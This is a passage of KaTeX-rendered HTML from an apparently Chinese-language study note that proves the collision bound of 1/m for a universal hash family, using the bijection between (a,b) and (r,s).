encoding="application/x-tex">(a,b)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>r</mi><mo separator="true">,</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(r,s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">s</span><span class="mclose">)</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(a,b)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span> 单射。</p><p>根据全域哈希的定义，数对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(a, b)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span> 共 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo stretchy="false">(</mo><mi>p</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">p(p-1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> 种可能，而 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>r</mi><mo separator="true">,</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(r,s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">s</span><span class="mclose">)</span></span></span></span> 也只有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo stretchy="false">(</mo><mi>p</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">p(p-1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span> 种可能，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(a,b)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>r</mi><mo separator="true">,</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(r,s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">s</span><span class="mclose">)</span></span></span></span> 双射。</p><blockquote><p>单射+满射=双射。如果两个有限集的大小相等，那么一个从 A 到 B 的单射映射必然也是满射，反之亦然。</p></blockquote><hr /><p>由于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(a,b)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span> 是从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>Z</mi><mi>p</mi></msub><mo>×</mo><msubsup><mi>Z</mi><mi>p</mi><mo lspace="0em" rspace="0em">∗</mo></msubsup></mrow><annotation encoding="application/x-tex">Z_p \times Z_p^{*}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0718em;vertical-align:-0.3831em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-2.453em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">∗</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3831em;"><span></span></span></span></span></span></span></span></span></span> 中均匀随机选择的，而 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(a,b)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span> 与 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>r</mi><mo separator="true">,</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(r,s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">s</span><span class="mclose">)</span></span></span></span> 一一对应，所以产生的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>r</mi><mo separator="true">,</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(r,s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">s</span><span class="mclose">)</span></span></span></span> 的也是均匀随机分布的。</p><p>所以两个不同的键 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>l</mi></mrow><annotation encoding="application/x-tex">l</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span></span> 发生碰撞的概率为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>r</mi><mo stretchy="false">{</mo><msub><mi>h</mi><mrow><mi>a</mi><mi>b</mi></mrow></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mi>h</mi><mrow><mi>a</mi><mi>b</mi></mrow></msub><mo stretchy="false">(</mo><mi>l</mi><mo stretchy="false">)</mo><mo stretchy="false">}</mo><mo>=</mo><mi>P</mi><mi>r</mi><mo stretchy="false">{</mo><mi>r</mi><mo>≡</mo><mi>s</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>m</mi><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">Pr\{h_{ab}(k) = h_{ab}(l)\} = Pr\{r \equiv s \pmod m\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ab</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ab</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">{</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">m</span><span class="mclose">)}</span></span></span></span>。</p><hr /><p>固定 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi></mrow><annotation encoding="application/x-tex">r</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span>，对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span> 来说，满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi><mo>≡</mo><mi>r</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>m</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">s \equiv r \pmod m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> 的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span> 的数量为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⌈</mo><mi>p</mi><mi mathvariant="normal">/</mi><mi>m</mi><mo stretchy="false">⌉</mo></mrow><annotation encoding="application/x-tex">\lceil p / m \rceil</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">⌈</span><span class="mord mathnormal">p</span><span class="mord">/</span><span class="mord mathnormal">m</span><span class="mclose">⌉</span></span></span></span>，排除 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mo>=</mo><mi>s</mi></mrow><annotation encoding="application/x-tex">r = s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span> 的情况有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⌈</mo><mi>p</mi><mi mathvariant="normal">/</mi><mi>m</mi><mo stretchy="false">⌉</mo><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\lceil p / m \rceil - 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">⌈</span><span class="mord mathnormal">p</span><span class="mord">/</span><span class="mord mathnormal">m</span><span class="mclose">⌉</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 个满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi><mo>≡</mo><mi>r</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>m</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">s \equiv r \pmod m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> 的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span>。</p><p>根据书上的缩放不等式 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⌈</mo><mi>n</mi><mi mathvariant="normal">/</mi><mi>m</mi><mo stretchy="false">⌉</mo><mo>≤</mo><mo stretchy="false">(</mo><mi>n</mi><mo>+</mo><mi>m</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><mi mathvariant="normal">/</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">\lceil n / m \rceil \le (n + m - 1) / m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">⌈</span><span class="mord mathnormal">n</span><span class="mord">/</span><span class="mord mathnormal">m</span><span class="mclose">⌉</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord">/</span><span class="mord mathnormal">m</span></span></span></span>，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⌈</mo><mi>p</mi><mi mathvariant="normal">/</mi><mi>m</mi><mo stretchy="false">⌉</mo><mo>−</mo><mn>1</mn><mo>≤</mo><mo stretchy="false">(</mo><mi>p</mi><mo>+</mo><mi>m</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><mi mathvariant="normal">/</mi><mi>m</mi><mo>−</mo><mn>1</mn><mo>=</mo><mo stretchy="false">(</mo><mi>p</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><mi mathvariant="normal">/</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">\lceil p / m \rceil - 1 \le (p + m - 1) / m - 1 = (p - 1) / m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">⌈</span><span class="mord mathnormal">p</span><span class="mord">/</span><span class="mord mathnormal">m</span><span class="mclose">⌉</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord">/</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord">/</span><span class="mord mathnormal">m</span></span></span></span>。</p><p>所以对于不同 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>l</mi></mrow><annotation encoding="application/x-tex">l</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span></span> 冲突的概率为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>r</mi><mo stretchy="false">{</mo><msub><mi>h</mi><mrow><mi>a</mi><mi>b</mi></mrow></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mi>h</mi><mrow><mi>a</mi><mi>b</mi></mrow></msub><mo stretchy="false">(</mo><mi>l</mi><mo stretchy="false">)</mo><mo stretchy="false">}</mo><mo>=</mo><mi>P</mi><mi>r</mi><mo stretchy="false">{</mo><mi>r</mi><mo>≡</mo><mi>s</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>m</mi><mo stretchy="false">)</mo><mo stretchy="false">}</mo><mo>≤</mo><mfrac><mrow><mo stretchy="false">⌈</mo><mi>p</mi><mi mathvariant="normal">/</mi><mi>m</mi><mo stretchy="false">⌉</mo><mo>−</mo><mn>1</mn></mrow><mrow><mi>p</mi><mo>−</mo><mn>1</mn></mrow></mfrac><mo>≤</mo><mfrac><mrow><mo stretchy="false">(</mo><mi>p</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><mi mathvariant="normal">/</mi><mi>m</mi></mrow><mrow><mi>p</mi><mo>−</mo><mn>1</mn></mrow></mfrac><mo>=</mo><mfrac><mn>1</mn><mi>m</mi></mfrac></mrow><annotation encoding="application/x-tex">Pr\{h_{ab}(k) = h_{ab}(l)\} = Pr\{r \equiv s \pmod m\} \le \frac{\lceil p / m \rceil - 1}{p - 1} \le \frac{(p - 1) / m}{p - 1} = \frac{1}{m}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ab</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ab</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">{</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">m</span><span class="mclose">)}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.4911em;vertical-align:-0.4811em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.01em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span 